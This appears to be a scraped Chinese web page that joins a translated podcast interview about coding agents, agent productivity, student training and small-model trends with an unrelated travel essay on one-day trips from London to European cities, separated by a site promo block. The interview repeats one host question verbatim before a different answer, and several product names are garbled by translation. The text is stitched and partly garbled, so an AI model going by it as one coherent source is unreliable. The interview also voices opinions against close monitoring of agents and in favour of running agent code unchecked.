2025 年 6 月是 Agent 的拐点

主持人:丹,你刚才提到自动驾驶实现突破的那个节点,Agent 的发展是否也已经到了这样的时刻?你还提到过 “软件奇点”,我们当下是否正处于 Agent 发展的关键突破点?

丹・傅:我认为是的。就我个人的经历而言,这个突破点出现在 2025 年 6 月左右。

给大家做个背景介绍,我在合聚人工智能的日常工作就是编写这些 GPU 内核,在机器学习领域,GPU 内核的编程被认为是最难掌握的技能之一,它需要高度的并行化设计,使用的是 C++ 这种资深工程师使用了数十年的老牌语言,而非 Python 这类易用的语言。招聘能编写 GPU 内核的工程师难度极大,这是一项极具挑战性的技能,无疑是编程能力的顶尖体现。

而 2025 年 6 月,我们有了一个非常有趣的发现:云代码、库尔索 Agent 这类代码 Agent,在编写 GPU 内核方面的表现非常出色。那一周,我完成了三四个原本各自需要一周时间才能完成的功能开发,全部工作一天就搞定了。 当时我就意识到,这个工具让我这个内核领域的专家,工作效率提升了 5 倍。

我让团队都开始使用这个工具,现在团队借助它搭建了许多复杂的系统,能快速完成原本需要整个团队耗时数月才能实现的功能开发。而 GPU 内核编程,正是编程领域最难的 “终极挑战”,所以在我们看来,代码 Agent,尤其是在高难度的 GPU 内核编程领域,已经实现了关键性的突破

几个月前,我在斯拉什大会上做了一场演讲,提出了 “软件奇点” 的概念,核心就是意识到在软件工程领域,即便是这类非常小众的高难度技能,人工智能的表现也已经超越了普通程序员,甚至能为资深程序员带来效率的大幅提升。就本期节目录制的当下而言,让 Agent 独立完成开发,可能还无法产出完美的结果,但如果资深程序员借助这些工具,工作效率能提升 10 倍,这是一个非常令人振奋的发展阶段。

要么善用 Agent,要么被时代淘汰。

主持人:聊到 Agent,蒂姆,你最近还发表了一篇精彩的博文,标题是 《要么善用 Agent,要么被时代淘汰》,其中探讨了代码 Agent 和适用于其他各类任务的 Agent。从代码 Agent 的出色表现,到 Agent 在日常生活各领域发挥实用价值,这一发展进程当下处于什么阶段?

蒂姆・德特默斯:我写这篇博文,也是因为发现使用代码 Agent 能为各类任务带来巨大的生产效率提升。作为一名教授,我平时的编程工作并不多,但借助代码 Agent,编程变得前所未有的轻松,这在以往是难以想象的。

当然,Agent 在非编程任务上的表现也同样出色。从我自身的体验来看,生产效率的提升幅度不一,有时是两三倍,有时甚至能达到 10 倍,而且工作质量没有下降,甚至有时还能提升。Agent 的能力或许未必比我强,但它不会疲惫,不会犯低级错误,也不会在整合复杂信息时出现认知上的困难 —— 这和丹刚才提到的 GPU 内核编程的情况是一样的。

我认为马特你将其分为代码 Agent 和通用 Agent,但在我看来,代码 Agent 本身就是通用 Agent。代码 Agent 能编写程序解决各类问题,而代码的通用性极强,任何数字化的问题都能通过代码解决。代码 Agent 让解决问题的过程变得无比轻松,让我们能以以往无法想象的方式和速度解决各类问题,实现多任务并行处理。Agent 不会疲惫,可以持续工作,让工作变得轻松很多。

我的博文中有一个观点我自己很认同,开篇我先区分了炒作和现实,而后基于自己在直播中测试 Agent 的实际体验得出结论 :超过 90% 的代码和文本都应该由 Agent 来生成,不这么做,就会被时代淘汰。 我想对于很多工程师来说,这一点已经成为现实。

有些人认为,Agent 生成的代码和文本质量一定低下,但关键在于,你需要对 Agent 的输出进行检查和编辑。你所做的这 10% 的工作,能带来巨大的改变。通过这种对输出内容的检查、编辑和优化,让成果成为属于自己的作品。

人工智能生成的内容,并不比你自己写的内容缺乏个性。比如我借助 Agent 撰写科研基金申请,成品会让我觉得充满生命力,能感受到其中的吸引力,相信评审人看到后会觉得 “这是一项优秀的研究,值得资助”。现实就是如此,如果你只是让 Agent 生成内容,不做任何检查就直接使用,那肯定无法达到预期效果;但如果你能快速审核内容、调整优化,发现不妥之处并进行修改,最终就能得到优质的成果,这会成为未来的常态。

而适应这种工作方式所需的技能,大多数人还未完全掌握,我自己也在学习中,目前仍处于探索阶段。 模型在更新,框架在迭代,我们需要不断适应、持续学习,虽然要学的东西很多,但一旦掌握,带来的回报是巨大的。

曾经有人认为软件工程师会因此消失,但现在大家都不再这么想了。Agent 极大地提升了生产效率,而掌握使用 Agent 的能力,正是当下最需要学习的技能。善用 Agent,能让你完成更多工作,这是核心所在。如果不懂得如何有效使用 Agent,你就会被淘汰,这将成为一项必备的核心技能。

主持人:聊到 Agent,蒂姆,你最近还发表了一篇精彩的博文,标题是 《要么善用 Agent,要么被时代淘汰》,其中探讨了代码 Agent 和适用于其他各类任务的 Agent。从代码 Agent 的出色表现,到 Agent 在日常生活各领域发挥实用价值,这一发展进程当下处于什么阶段?

蒂姆・德特默斯我认为最关键的是保持务实,思考需要解决的问题,并尝试用代码实现。

当然,对于非程序员来说,编程本身就有很高的门槛,会觉得 “我从没写过代码,根本做不到”。但如果和 Agent 互动,它能直接帮你搭建程序,你只需要进行少量的学习 —— Agent 还会为你讲解相关知识,很快就能上手,实现程序的运行、网站的搭建等,还能快速获得反馈,现在做这些事情已经不再困难。

当然,我之前提到过需要检查 Agent 的输出,但如果你只是为自己搭建一些简单的工具提升工作效率,其实往往不需要这么做,Agent 生成的代码质量已经足够高。如果是在公司工作,需要将代码整合到正式的代码库中,那肯定需要进行审核;但如果只是搭建个人使用的小程序,提升自己的工作效率,那非常容易。

举个随机的例子,我会录制自己和 Agent 互动的视频,视频中会有我讲解的片段,也有我查看输出、思考分析的片段。我借助 Agent 搭建了一个工具,它能识别语音,记录我说话的时间戳,然后对视频进行剪辑,只保留我讲解的部分,去掉无意义的片段。这个工具我只用了 20 分钟就搭建好了,我相信所有人都能做到,因为我甚至没有检查 Agent 生成的代码,直接使用后,剪辑出的视频效果非常好。

只要建立起 “提出需求 — Agent 生成 — 获得反馈” 的循环,你根本不需要自己编程,只需要学会检查输出内容,或者掌握 Python 程序、bash 脚本的基本运行方法,就能实现工作的自动化。

主持人:那该如何选择要自动化的工作呢?该从哪些角度思考生活中的自动化需求?

蒂姆・德特默斯:我在博文中也探讨过这个问题,其实可以分为 直觉层面和精细化分析层面

直觉层面很简单,就是思考哪些工作自动化后会带来便利,哪怕是一些复杂的需求,比如 “我想要一个能实现某某功能的安卓或苹果应用”,一开始你可能觉得这很难,但只要向 Agent 提出需求,它能立刻实现。你可以充分发挥想象力,打造任何自己想要的工具,那些以往没人开发、自己又迫切需要的产品,现在都能借助 Agent 实现。

这种思维方式能让你打造出实用的工具,提升生产效率,同时也能锻炼你使用 Agent 的能力。当然,有时尝试后可能会失败,这时你会明白 Agent 的局限性,以及自己还需要学习哪些知识才能解决问题。

这是直觉层面的方法,能让你快速入门,从最初的兴奋,到面对现实的冷静,再到继续尝试,最终会发现自己的生产效率在一天天提升。

而精细化分析层面的方法,来自我在德国自动化行业三年的工作经历,当时主要负责工厂的自动化改造,这是一种非常严谨的计算方法:先梳理自己的工作流程,为每个步骤计时,然后分析如果将某个步骤自动化,能带来多少收益、节省多少时间,再计算开发这个自动化工具需要投入多少时间,通过这种成本收益分析,快速判断哪些工作的自动化改造是有价值的。

我的博文中提到,邮件的自动化处理效果并不好,还有一些事情也是如此,比如创建会议日历邀请,没人喜欢做这件事,但仔细想想,人们对会议的安排有很多个性化的需求,比如某天想多安排会议,某天想把会议安排在午饭前,这些需求 Agent 无法感知。即便你向 Agent 详细说明这些需求,它生成的日历邀请也未必能符合预期,最终的效率提升其实非常有限。

通过这种精细化的分析,能让我们避开这些无意义的尝试,找到真正能通过自动化提升效率的工作。

主持人:丹,从你的角度来看,在 Agent 的应用中,哪些方法是有效的,哪些目前还不成熟但未来有望实现,又该如何管理 Agent?

丹・傅:我发现 Agent 的有效应用,主要有两个核心要点。

第一,让 Agent 发挥效用的方式,和管理团队中的初级员工、公司里的实习生非常相似。 比如,你不会对一个刚来的实习生说 “去把公司的营收提升一倍”,或许你会尝试一次,但显然不可能得到想要的结果。相反,你会给实习生安排一些简单的入门任务,让他们熟悉复杂的代码库,并告诉他们可能会遇到的问题 —— 因为你自己有过相关的经历。当你给 Agent 提供这样的背景信息,让它能接触到相关的资料,它通常就能顺利完成任务。

另外,对待新员工,你不会直接把生产环境的所有权限、数据库信息都交给他们,而是会给他们足够的工具,让他们能开展工作。对待 Agent 也是如此,有些人会担心 Agent 误删生产环境的所有数据,于是对其处处限制,每一步都进行监控,但如果用这种方式对待人类员工,他们根本不可能高效工作。这是一个很重要的点,当下的 Agent,至少可以把它当作实习生或初级员工来对待。

第二,我发现一个非常有趣的现象,尤其是从教授的教育视角,思考如何培养学生适应这个 Agent 成为工作核心的未来,那就是:一个人的专业知识越扎实,比如蒂姆在流程自动化领域的专业积累,或是我在 GPU 内核编程领域的深耕,Agent 能为其带来的能力提升就越大。

因为专业知识扎实的人,能在更高的抽象层面开展工作,知道工作的核心要点、方向,了解常见的问题和陷阱,知道哪些事情容易实现、哪些事情有难度,知道如何将复杂任务拆解为多个步骤。

之前有一段时间,大家一直在讨论 Agent 是否会取代所有软件工程师,或者取代所有初级员工,而从当下的发展来看,显然不会出现这种情况。 如果一个工具能让我的团队工作效率提升 10 倍,我不会解雇 90% 的员工,而是会让他们去完成更有价值的工作,实现 100 倍的效率提升。这是一方面。

另一方面,成为某个领域专家的路径,其实和以往并没有太大区别:你需要深入学习、深入理解相关知识,需要亲手实践、真正解决问题。在当下这个时代,聊天生成预训练转换器能教你很多东西,我自己就尝试过让它教我汽车的各类工作原理,虽然目前效果还一般,但不可否认,现在学习知识的难度比以往低了很多,哪怕是两三年前,都没有这么便捷的学习方式。

所以总结来说,对待 Agent,要像扮演管理者的角色,帮助它解决遇到的问题,不能只是把问题丢给它就撒手不管;同时,你需要不断提升自己,成为更优秀的 “管理者”,积累更多的领域知识,更深入地理解工作内容。

主持人:也就是说,成为专家、持续学习的需求并没有改变,这一点很有意思,也很有道理。但有一个问题,如果一名年轻的内核工程师第一天入职,以往的培养方式是先安排简单的任务,第二年再安排更复杂的工作,那在 Agent 时代,这种实操性的职场培训该如何开展?

丹・傅:我们在合聚人工智能也一直在思考这个问题,即便在模型和 Agent 如此强大的当下,我们仍在积极招聘人才。

我们的做法是:首先,我以教授的身份,录制了一系列关于 GPU 工作原理的课程,要求所有新员工都必须学习;然后,我会给他们布置一个从零开始的任务,比如修改快速注意力机制的内核,实现某个新功能,具体的功能可以由他们自己选择。Agent 的优势在于,能让新员工更快地参与到高价值的工作中。

对于一名初级工程师来说,第一次尝试管理他人是非常有意义的经历,因为这会让他们开始用更精准的语言思考问题。比如,软件工程师常会遇到这种情况:产品经理给出一个需求,写了长长的需求文档,但当你让别人去实现这个需求时,才会发现描述一个功能需要多么精准的表达。

而 Agent 的出现,让这一过程得以简化,初级工程师不需要真正成为管理者,依然可以作为工程师开展工作,但能以管理者的思维方式,甚至产品经理的视角来思考问题。因为和 Agent 沟通时,你必须精准地描述自己的需求。我发现,团队中那些刚从大学或硕士毕业的年轻员工,只要积极学习和使用人工智能 Agent,他们的沟通能力会比以往的工程师强很多,对知识的理解和掌握速度也会大幅提升,并且能以以往 5 到 10 年都难以想象的速度搭建工具、完成工作。

蒂姆・德特默斯:我从教育的角度补充一点,这一点其实和丹的观点形成了一定的对比,也很有意思。我一直强调 “要么善用 Agent,要么被时代淘汰”,这一点对学生也同样适用,但正如丹所说,使用 Agent 的前提是具备一定的领域知识。

我们发现,如果允许学生使用 Agent,他们的学习效率会非常高,但有时他们借助 Agent 完成的解决方案,表面上看起来没问题,实际上却漏洞百出,而学生自己却意识不到。

当下我们正面临一个困境:很难同时培养学生的领域知识和 Agent 使用能力,这两者的平衡很难把握。 我们既不想培养出对知识一知半解的学生,也希望学生能掌握 Agent 的使用方法,否则他们进入职场后将无法胜任工作。

丹提到,具备扎实知识基础的人,借助 Agent 能实现能力的飞跃,但对于刚开始学习计算机科学的学生来说,该让他们学习多少专业知识,又该让他们在多大程度上借助 Agent 完成工作,这是一个非常棘手的问题,目前还没有完美的解决方案。

如果让学生过度依赖 Agent,他们的基础知识点掌握会非常薄弱;如果让学生完全靠自己完成所有学习任务,不使用 Agent,他们又无法掌握这项核心技能,进入职场后缺乏竞争力。

或许一个解决方案是:先让学生扎实掌握基础知识,再学习使用 Agent。但学生并不会这样做,他们能轻易接触到这些人工智能工具,并且会因为其便捷性而频繁使用。

所以或许真正的解决之道,是培养学生一种全新的信息处理和知识学习的思维方式,这种能力甚至超越了批判性思维 —— 学生需要学会识别自己不知道的未知事物,也就是那些自己没有考虑到、不理解,甚至从未想过的问题。 只有具备这种能力,才能跟上 Agent 的发展步伐。因为在未来,我们很可能会面对自己无法理解的问题,而 Agent 却能理解,我们需要找到一种方式,跟上 Agent 的节奏,这无疑是一大挑战。

小模型是未来趋势

主持人:二位对 2026 年人工智能的发展有哪些具体的期待?认为哪些趋势会成为现实,哪些则不会?

蒂姆・德特默斯:我觉得自己的看法比较矛盾,一方面,我认为很多领域的发展会趋于平淡,不会有太多创新;另一方面,又会有一些意想不到的突破出现。而在前沿模型领域,我认为不会有太多惊喜。

当下一个公开的事实是,预训练数据已经耗尽,正如丹所说,我们可以通过合成数据来弥补这一缺口,代码 Agent 的训练,就是在各类环境中生成大量合成数据,并进行数据融合,我们在这方面会取得一些进展,但整体来看,机器学习领域的发展已经显现出疲态。

我认为代码 Agent 的性能不会有太大提升,主要的进步会体现在用户体验的优化上。 当下各款模型的性能已经趋于同质化,比如我使用 GLM-4.7 的配置时,一度以为自己用的是 Opus 4.5,后来才发现是不同的模型,因为它们的表现实在太相似了。

所以 前沿模型的性能发展会陷入停滞,而小模型领域则会迎来快速发展。 如果针对特定的专业数据训练小模型,其性能会非常出色,而且小模型的部署难度低,能力却不容小觑。

比如 1000 亿参数的模型,能轻松实现部署,即便是 RTX 6000 这类售价 6000 美元的入门级数据中心 GPU,也能胜任。我认为对于很多企业来说,这会是一个极具吸引力的选择,它们不再需要依赖前沿的大模型,定制化的小模型甚至能表现出更优的性能,因为其针对特定领域做了优化。

当下存在一个很大的问题,正如 Anthropic 首席执行官所指出的,市面上有很多性能强大的开源模型,但实际使用的人却很少,原因就在于 部署难度极高。一旦模型的部署需要超过 8 块 GPU,不仅需要用户进行大量的效率优化,还涉及复杂的系统工程问题,而目前还没有能实现这一功能的开源系统,需要实现推理任务的解耦、跨序列长度的拆分等技术。或许我们能为异构 GPU 设备、小模型打造这样的部署系统,届时 1000 亿参数模型的运行效率,将能媲美当下的前沿大模型。

小模型兼具效率和灵活性的优势,再加上能通过大模型的知识蒸馏实现性能提升,这些因素结合起来,将彻底改变人工智能的发展格局。

丹・傅:我也对小模型的发展充满期待,认为它们会释放出更多的能力。

我会密切关注开源模型的发展,GLM-4.7 的出现,已经让开源模型的性能开始媲美当下最优秀的前沿模型,我认为 2026 年开源模型的能力会实现又一次大的飞跃。

我也非常期待新硬件的推出,目前已经有一些关于英伟达下一代 NVIDIA Rubin GPU、AMD 400 系列显卡的消息,即便我们还未充分挖掘当下硬件的潜力,我也很想看看下一代硬件能带来怎样的性能突破。

此外,我还期待多模态领域的发展,去年视频生成模型迎来了发展的小高峰,比如 Sora 2、Gemini、Veo 等模型都表现出色,我很想看看它们后续的发展。

最后,我也期待能看到,在笔记本电脑、手机这类终端设备上,人工智能的智能水平能达到怎样的高度, 能被推进到什么程度。我想说,当下投身人工智能领域,恰逢最激动人心的时刻。

主持人:二位早些时候提到了状态空间架构(SSM),你们认为这会是人工智能的近期发展方向吗?也就是说,我们会逐渐走出 Transformer 架构的时代,向状态空间模型、世界模型等新架构发展吗?这是否是你认为值得期待且势在必行的发展趋势?

丹・傅:我认为在很多领域,新架构已经落地应用了。比如当下全球最优秀的一些音频模型,就部分基于状态空间模型打造。英伟达最近也发布了多款优秀的混合架构模型,比如神经变形金刚,就是其中的代表。

所以相关的研究已经取得了很多不错的成果,架构的进化还会继续。比如 DeepSeek 的模型压缩技术,就借鉴了状态空间模型的一些理念;MiniMax 的一款模型,则采用了线性注意力的思路。

所以未来人工智能的架构会变得更加多元,这一趋势已经显现。

而中国的实验室在这方面会有更多的探索和突破,因为中国并没有像开放人工智能那样,集产品、模型、营收于一体的巨头企业,也就没有统一的技术发展范式。所以中国的实验室会更敢于尝试,想要让自己的开源模型脱颖而出,架构创新就是一个重要的方向,当然,纯性能的提升也是一个途径。因此,未来人工智能的架构会迎来爆发式的创新。

参考链接:

https://www.youtube.com/watch?v=XCCkgRzth6Q

Matrix 首页推荐 

Matrix 是少数派的写作社区,我们主张分享真实的产品体验,有实用价值的经验与思考。我们会不定期挑选 Matrix 最优质的文章,展示来自用户的最真实的体验和观点。 

文章代表作者个人观点,少数派仅对标题和排版略作修改。


回看西班牙旅行的时候突然感觉到倦怠。

我去的格拉纳达是大部分人不会花费超过两天停留的地方,我却留了五天,买了连续三天的阿尔罕布拉宫的门票,在不同时间进入就为了看到「最好」的时段、最好的阳光,留下最好看的照片。最后一天早上也像我之前的许多旅游一样,去机场前塞进一个离得远又不是最感兴趣的景点,匆匆看完后带着满身大汗跑去赶车赶飞机。

对我来说,这种程度的 FOMO1 已经有点超乎理解了——西班牙是政局稳定、离我近、消费也算便宜的目的地,但我却总想着「这个地方我没法再来所以这一次要全部看完」,实在是掺杂了太多不必要的焦虑。

加上当时看到了一些周末往返旅游的博主,于是心想:为什么不能试试呢?如果我在一座城市只有 8 小时的停留时间,我还会强逼自己把所有想看完的都看过再离开吗?于是断断续续定了一些周末单日往返旅行,开启了对这种旅行模式的探索。

具体操作

1. 城市选择篇

我的旅行习惯告诉我,我一天的有效游览时间大概是 5–6 个小时、2–4 个景点是比较舒服的模式。加上航班和往返机场的时间,附近飞行 2 小时以内的城市基本可以满足我的要求。我住在伦敦,所以对我来说最方便的就是去欧洲各国。

欧洲城市很多,但也不是每个城市都适合「一日游」的。小红书上虽然有很多贴文分享她们如何「一日游遍某个城市」,但我看了几篇后就发现他们的旅行逻辑和我不太一样——比如我无法想象怎么能一日游完罗马、雅典和巴塞罗那的——所以最后还是自己做了功课。

从我的旅行模式来说,最合适的城市就是:有 4–5 个最出名且我想看的景点,而且景点都在市中心较为聚集的地方,同时可以从伦敦直飞且单程时间在 2 小时以内。当然,也参考了机票价格和季节,最后我选择的城市是:巴黎、米兰、柏林、苏黎世、布鲁塞尔。

2. 机票机场篇

我大部分的机票买在 7 点左右出发,晚上 8-9 点左右到家,这样简单洗漱后也能保持在 11 点前入睡。找目的地是先去 FlightConnections 网站 上面找合适目的地,选择出发机场后就能筛选特定周几的可用机票、飞行时间、起降时间等等(需要会员)。如果已经确定了自己的最终目的地,在这个网站也可以很方便地对比当日的不同航班和机型,帮自己选出时间最合适的那一班。

找机票一般都在 Skyscanner(天巡网),并做航班比价。我倾向选择大航司、出发于成熟/大/商务机场。虽然廉航机票便宜,一日游也通常不会有行李超重的问题,但廉航比较容易出各种问题,比如超售、比如需要单独排队检查签证等等问题,偏远的小机场往往更容易出现交通问题,也很少会像商务机场那样有高级安检机器(不用拿出液体/充电宝之类的),可以做到 15 分钟速通。

选落地机场的考量主要是:机场游客来源,和它们去市中心的距离。

比如米兰有三个机场:马尔彭萨(Malpensa, MXP)、林纳特机场(Linate, LIN)、贝加莫机场(Bergamo, BGY)。MXP 的国际航班最多,也常因非欧盟护照入境排队动辄三小时而闻名小红书;而 LIN 和 BGY 的航班往往来自欧盟内部,机场规模更小,因此从入关排队的角度更合适。另一方面,MXP 去市中心知名景点需要火车转地铁,BGY 需要大巴转地铁,且基本都需要一小时以上;而 LIN 可以地铁直达,20 分钟即能到市中心。从这个角度而言,落地米兰选择 LIN 更合适,给 day trip 留出了更多探索城市的时间。

当然,欧洲的铁路业也十分发达,而且火车站的位置通常都在市中心交通方便的地方,如果价格合适也可以考虑。

选离境机场的考量包括了:交通时间,出海关排队时长,购物方便程度。交通问题和选落地机场的原则是一样的,都是为了尽可能延长在市区探索的时间。出海关排队时长也基本可以参考落地机场的排队情况,比如小红书避雷贴、官网信息(如果有自助出关闸口的话就会快很多;临近时间如果有很多去往非免签国的航班,也有更大可能在机场排队)。

【如图:苏黎世机场的安检时间预测,在 官网 选择自己要搭乘的航班后可以收到 WhatsApp 提醒。同样提供机场快速通道的还有柏林机场的 BER Runway

这些旅程里,我一半买的是全价票,一半用了积分换票。我会在购票前给机票价位设置一个心理底线(比如 BA 往返欧洲不超过 £120),超过那个底线的机票再去用积分换,整体而言会更划算。因为积分换票是按旺季/非旺季算的,但机票价格是根据供需关系浮动的,因此如果某天机票特别贵,但归属于航空公司划定的淡季的话,用积分兑换是更划算的做法。

查询英航积分票用 Reward Flight Finder 就能比较方便地看到不同仓位的余票情况

3. 随身行李篇

我第一次单日往返游之前,还会担心自己忘带东西而装了满满一包,后来经验多了就渐渐松弛下来,对照着行李清单检查一遍就能安心了。

单日往返最大的好处就是不用带替换衣物、洗漱包、充电的全套设备,我实践几次下来,每次必带的其实就是:

  • 护照
  • 手机(+备用手机),相机,充电宝
  • 一个塑料袋
  • 水瓶
  • 纸巾

其他的要么根本用不到,要么当地完全可以买到,所以不用担心这个问题。

考虑飞机安检要求,「一包走天下」是最高效的。如果你像我一样喜欢逛博物馆的话,在欧洲很重要的是:不要带双肩包。因为在很多博物馆/美术馆会要求寄存,容易带来一些不那么丝滑的体验。

欧洲风评在外,偷盗猖獗,我的解法是:选一个有内袋的外套,把护照和备用手机放在那里,接下来的旅程都能比较安心。其余的物品,只要确保相机随时都在就行,别的都没什么偷窃价值。

旅伴某种程度也算是随身行李的一部分,在此一并提了。

我尝试了两次和人一起一人游,结论是——「还是 solo 香!」

盖因对我来说,这种类型的旅行最重要的是「看完我想看的东西」,多日旅行中有更多时间余裕互相迁就,在单日旅游中就显得奢侈了。精力只能支持我最多看四个景点,和人一起去就只能看两个,也要考虑别人的饮食习惯,还不能通过 AA 酒店钱省开销……所以最后的结论就是:以看景点为主要目的的旅行没有必要找旅伴;以「陪朋友」的目的出去玩,朋友的存在就必不可少了。

4. 当地交通篇

能让我做到当日往返旅游的目的地,一般都会有和我常居地通用的支付方式。在欧洲,我的个人理解就是:Apple Pay 和 Google Maps 走天下。而且欧洲国家的优势在于,大多数市中心步行可达,哪怕办一张当地的 24h 交通卡,其实也省不下多少钱。

我去的大部分城市都可以用 Apple Pay 直接刷卡上车或者买车票,唯一需要注意的就是有些地方的实体票可能需要在机器上「打票」才能使用,不过所有旅行攻略都能查到这一点,不用太担心。

当然欧洲还是有一定比例的现金支付需求,可以带两个 €1 硬币以防万一。但没带的话也问题不大,因为通常有用卡的解法(比如工作人员突然掏出来一个 POS 机)、和工作人员交际就能解决的问题(比如看你可怜给你免费了)、找到中国人换钱。

我去的所有欧美城市,Google Maps 都有不错的覆盖率。我偶尔也会和 CityMapper 联用。这两个 app 现在基本都会告诉你这个车次的花费,路程中也会建议你去做哪部分的车厢离出站口更近。CityMapper 的好处是更新及时,公交车和地铁的时效性通常比 Google Map 好,整体而言能让旅行体验更丝滑。

如果从机场往返坐火车的话(ie 需要买点到点的票),我的经验是不要买往返票!因为上下车的地方可能不是同一个站,或许因为随机推荐去了离机场更近的地方,有更方便的交通方式。总之往返票省不了多少钱,但如果从最后一站真有更方便的路线的话,这个往返票反而是麻烦。

5. 旅行计划篇

我从前以为定好时间表、再按照时间表定时打卡是最高效的游览方式,实际体验中或许可以这么说,但时间压力会让我陷入在赶路情绪中不可自拔,反而是更大的压力,不能够完全沉浸旅游。如果带着目的去的(比如拍照出片),这样做是合适的,但如果首要目的是「感受城市」或者「看到想看的东西」,这就不适合了。

于是,现在我采用的方法是:排优先级。首先确定最想看的景点,并把精力体力最好的时间留给它(对我来说是早上刚落地后)。之后也会计划一些交通方便、或想看、或知名的景点,但都要等我看完最想看的那个之后,再根据交通情况、精力体力、心情决定要不要看。当然心里要有数,提前看好开馆时间、规划交通,尽量避免走回头路浪费时间。

另一个提升旅行体验的方法是,尽量穿插参观不同类型的目的地,比如「博物馆 → 公园 → 美术馆」的行程就比「博物馆 → 美术馆 → 公园」的行程更不容易审美疲劳。

在网上能很轻松地找到这种景点分布图,可以帮助更好地规划路线。图源:https://carolblog.tw/zurich/

有一些比较难定且入场时间卡得很紧的景点,如果定的时候已经没得选了那当然没办法,但如果还有一些选择的话,尽量先搞出当天的行程计划图,把这个景点放在时间和位置合适的地方(最好是当天第一场或者最后一场),会少一些压力……有些体验中途被打断,不得不去赶场去下一个更难定的景点,是非常不好的体验,而我暂时还没达到可以假装自己没抢到这张票的松弛感。

另一个建议是,尽量在冬令时到来之前完成行程,因为每天日照时间多,有更多时间探索城市。欧洲冬天的天气也会更不稳定,如果看到天气预报上说当天是阴天或下雨的话,尽量多安排室内景点,不下雨的时候(如有)再去体验城市氛围或者去户外享受自然风光。

伦敦日照时长图表。绿色竖线是夏令时起止日期。图源:https://www.timeanddate.com/sun/uk/london

6. 消费分析篇

综合了这么多次旅行的经验,我平均每次花费是 £225,其中机票花费 £77.35,当地交通 £19.16,食物 £53.95(正餐次均 £40.87,其余是零食和简餐),门票等 £45.56,购物(手信+礼物+话费等)£28.99。

我觉得这里面的固定花费很难再有压缩的空间了,比如虽然欧洲内部经常能蹲到 £50 左右的往返机票,但通常起降在去市中心不那么方便的地方,加上往返车票就没有价格优势了。当日往返的情况下,理论上也可以依靠步行和自带三明治省下吃饭和当地交通的钱,但省下来的钱必会以另一种方式偿还,比如时间和精力的折损,或者更波折的体验。也很难说有踩坑或者体验不好的部分,整体而言还算比较满意,所以我觉得再往下省是没有必要的事。

图上是从我家出发去各大机场的时间和花费表格,可以发现,如果机票省了 £20 但从 STN 出发的话,也相当于没便宜还倒贴

但这也并不是说,「单日往返」的旅行模式是经济上合算的——以我这几年在欧洲的单人短途游做参考,近似的消费水平下,加上住宿的日均花费大约 £180 左右,不包含住宿的日均消费是 £120 左右,和单日往返游没有什么区别。由此可见,欧洲内部的生活成本其实大差不差(。)

当然,选择当日往返旅行的主要目的也不是省钱。对我来说最大的收获是,能放下对「欧洲城市」的恐惧,。另一个便利则是省去了很多挑选酒店的纠结、比较、困扰,以及在出发前可以不用在意是否把家里门锁好、垃圾清空、水闸电闸关闭这种让人挂心的小事。

7. 精力管理篇

很多人一听到我每两周就要来一趟周末单日往返游,第一反应就是:「哇你的精力也太好了吧!」坦白讲,我 2025 年几乎没怎么进健身房锻炼,体力也不算特别出众。单日往返看着累,实际上也有很多可以让自己轻松一点的方法。

我比较确信的一点是,睡眠质量对我的体力精力有最大的影响。所以在每一场一日游前,我都要保证自己有至少连续三天的良好睡眠。具体行为包括但不限于:谢绝一切社交活动、拒绝加班、健康饮食、睡前 3 小时不吃东西,以及选择一个离得近的机场出发,这样哪怕坐早上七点的早班机,也不会太缺觉。

出于同样的考虑,我的返程航班也经常定在晚七点左右,这样也能确保自己到家的时候还来得及去健身房蒸个桑拿洗个澡,当天的入睡时间也不会太晚。

旅途过程中,对我来说最重要的是看想看的地方/东西,至于当地美食和购物都是可有可无。所以我通常只在飞机上吃一顿简餐,下了飞机直奔最想看的地方,既可以趁着时间早避开人流,也可以确保自己在看想看的东西时有最好的精力。看完最想看的两个景点后,找个地方吃一顿正餐,慢慢悠悠地回血了,再去看下午的计划的景点。

旅途前的规划也必不可少。比如从之前的旅行经验我大概能知道自己的能量上限就是「一天最多看三个景点」,所以在计划时不会给自己太大的压力。单日往返这个设定本身也在暗示我「这座城市你以后可以轻松地来很多次」,所以自然少了点「我必须全看完」的 FOMO。

就像在消费那一部分提过的,我不会在这类型的旅途中特别在意省钱,比如为了省 €3 选择走路半小时(一部分原因也是伦敦公共交通太贵,让我脱敏了),或者去需要排队买折扣票的景点。转场途中也是很好地给自己回血的机会,稳定的交通方式(如地铁、火车)本身也不容易占用太多情绪带宽,通常无需担心堵车、换乘、坐过站该怎么办。

最后,我大部分的旅行都只有周六一天,就给我留下了周日帮助自己回到日常 routine,买买菜、补补觉、修修图,就能非常容易地回到日常的工作生活状态中了。

旅途的背面

我在 9–12 月间共计划了五次欧洲短途旅行,其实到第三次已经有些倦怠,等到最后一次行程结束更是确信:这不是一个可以长期持续的旅行方式,将来如果不是去巴黎,应该不会再选择这样的旅行方式了。

原因其一是,这样快餐式的旅行并不能看到城市的全貌,而是只能停留在最游客的那些地方。欧洲的精华是世界旅行者的目的地,我想看的很多东西要么本身就是世界知名景点,要么就在知名景点周围,总是离不开那一片游客聚集的区域。能全程讲英语、蹭讲解固然方便,但总让我有种「根本没出国」的感觉。忍不住怀念起在西班牙用一周时间,从一句西语不会说、到可以和当地人进行简单西语对话,仿佛真的生活在那里的感觉还是大不一样。

原因其二是,欧洲的景点同质化太相似,短时间内多次频繁地看很容易腻。我还记得我在西班牙看到华丽的天主教堂无比震撼的时刻,比伦敦的圣保罗不知道华丽多少倍,每天都大饱眼福;等我在米兰和布鲁塞尔看教堂的时候,已经觉得「哦,挺厉害的但也就那样吧」;等我到了柏林大教堂的时候,已经无法被震撼了,只觉得「就这点东西你也敢收我门票?」对旅途的心情无益,更是折损热情。博物馆也是同理,看到最后画像和雕塑都觉得没什么区别,总觉得还不如坐地铁去看伦敦国家美术馆和泰特不列颠美术馆看画,后来专注于看东亚和埃及文物,总算有了点不一样的东西。

原因其三是,单日的可控性太差。一部分原因是我去的时候,欧洲已经进入秋冬,很容易遇到下雨或者阴天,导致旅行体验变差。想穿漂亮衣服,也会因为气温和天气而不太能同时满足特种兵、精简行李和精心打扮这三个条件。

原因其四是旅行的「后劲」。由于经常活动在游客区,而且周一前必须「收心」,沉浸感远不如多日旅行那么深刻。我的 FOMO 也转移到了拍摄上,花在修图上的时间可能比我在当地体验感受的时间还久,以至于提到某个城市,很难在脑中描绘出具体的景色,首先想到的是「我在这里有过一张照片」,而不太能回忆起取景框外的世界,真实的颜色、声音、气味、感受、脑中的想法。以至于去了这么多地方,年终总结看起来航线图还是厉害的,但脑子只是「如去」,在我看来有点违背了旅行的本心。

